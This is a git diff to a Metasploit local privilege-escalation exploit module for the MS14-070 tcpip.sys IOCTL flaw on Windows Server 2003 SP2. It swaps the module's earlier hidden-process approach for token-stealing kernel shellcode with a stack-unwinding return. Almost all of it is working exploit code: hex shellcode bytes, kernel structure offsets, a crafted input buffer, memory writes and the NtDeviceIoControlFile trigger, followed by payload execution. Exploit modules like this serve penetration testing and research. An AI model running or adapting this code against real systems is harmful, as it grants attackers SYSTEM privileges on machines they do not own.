diff --git a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb index 8e1ae9167c..fb5af6412d 100644 --- a/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb +++ b/modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb @@ -38,7 +38,14 @@ class Metasploit3 < Msf::Exploit::Local }, 'Targets' => [ - ['Windows Server 2003 SP2', {} ] + ['Windows Server 2003 SP2', + { + '_KPROCESS' => "\x38", + '_TOKEN' => "\xd8", + '_UPID' => "\x94", + '_APLINKS' => "\x98" + } + ] ], 'References' => [ @@ -76,19 +83,6 @@ class Metasploit3 < Msf::Exploit::Local return Exploit::CheckCode::Safe end - def create_proc - windir = session.sys.config.getenv('windir') - cmd = "#{windir}\\System32\\notepad.exe" - # run hidden - begin - proc = session.sys.process.execute(cmd, nil, 'Hidden' => true) - rescue Rex::Post::Meterpreter::RequestError - return nil - end - - proc.pid - end - def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') @@ -104,18 +98,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end - p = payload.encoded - new_pid = create_proc - - unless new_pid - fail_with(Failure::Unknown, 'Unable to create a new process.') - end - - print_status("Injecting #{p.length} bytes into #{new_pid} memory and executing it...") - unless execute_shellcode(p, nil, new_pid) - fail_with(Failure::Unknown, 'Error while executing the payload') - end - handle = open_device('\\\\.\\tcp', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\tcp device") @@ -132,33 +114,26 @@ class Metasploit3 < Msf::Exploit::Local buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00" - sc = "\x60" # save registers - sc << "\x64\xA1\x24\x01\x00\x00" # mov eax, [fs:0x124] - sc << "\x8B\x40\x38" # mov eax, [eax+0x38] - sc << "\x50" # push eax - sc << "\xBB\x04\x00\x00\x00" # mov ebx, 0x4 - sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98] - sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98 - sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx - sc << "\x75\xED" # jne 0x10 - sc << "\x8B\xB8\xD8\x00\x00\x00" # mov edi, [eax+0xd8] - sc << "\x83\xE7\xF8" # and edi, 0xfffffff8 - sc << "\x58" # pop eax - sc << "\xBB" # mov ebx, new_pid - sc << [new_pid].pack('V') - sc << "\x8B\x80\x98\x00\x00\x00" # mov eax, [eax+0x98] - sc << "\x2D\x98\x00\x00\x00" # sub eax, 0x98 - sc << "\x39\x98\x94\x00\x00\x00" # cmp [eax+0x94], ebx - sc << "\x75\xED" # jne 0x32 - sc << "\x89\xB8\xD8\x00\x00\x00" # mov [eax+0xd8], edi - sc << "\x61" # restore registers - sc << "\xBA\x39\xFF\xA2\xBA" # mov edx, 0xbaa2ff39 - sc << "\xB9\x00\x00\x00\x00" # mov ecx, 0x0 - sc << "\xB8\x3B\x00\x00\x00" # mov eax, 0x3b - sc << "\x8E\xE0" # mov fs, eax - sc << "\x0F\x35\x00" # sysexit + sc = token_stealing_shellcode(target)[0..-3] + # move up the stack frames looking for nt!KiSystemServicePostCall + sc << "\x31\xc9" # xor ecx, ecx + sc << "\x89\xeb" # mov ebx, ebp + # count_frames + sc << "\x41" # inc ecx + sc << "\xf7\x43\x04\x00\x00\x00\x80" # test dword [ebx+4], 0x80000000 + sc << "\x8b\x1b" # mov ebx, dword [ebx] + sc << "\x75\xf4" # jne short count_frames + sc << "\x49" # dec ecx + # loop_frames + sc << "\x49" # dec ecx + sc << "\x89\xec" # mov esp, ebp + sc << "\x5d" # pop ebp + sc << "\x83\xf9\x00" # cmp ecx, 0 + sc << "\x75\xf7" # jne loop_frames + sc << "\x31\xc0" # xor eax, eax + sc << "\xc3" - this_proc.memory.write(0x28, "\x87\xFF\xFF\x38") + this_proc.memory.write(0x28, "\x87\xff\xff\x38") this_proc.memory.write(0x38, "\x00\x00") this_proc.memory.write(0x1100, buf) this_proc.memory.write(0x2b, "\x00\x00") @@ -166,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Local print_status("Triggering the vulnerability...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x00120028, 0x1100, buf.length, 0, 0) - session.railgun.kernel32.CloseHandle(handle) + #session.railgun.kernel32.CloseHandle(handle) # CloseHandle will never return, so skip it print_status("Checking privileges after exploitation...") @@ -175,8 +150,9 @@ class Metasploit3 < Msf::Exploit::Local end print_good("Exploitation successful!") - + unless execute_shellcode(payload.encoded, nil, this_proc.pid) + fail_with(Failure::Unknown, 'Error while executing the payload') + end end end -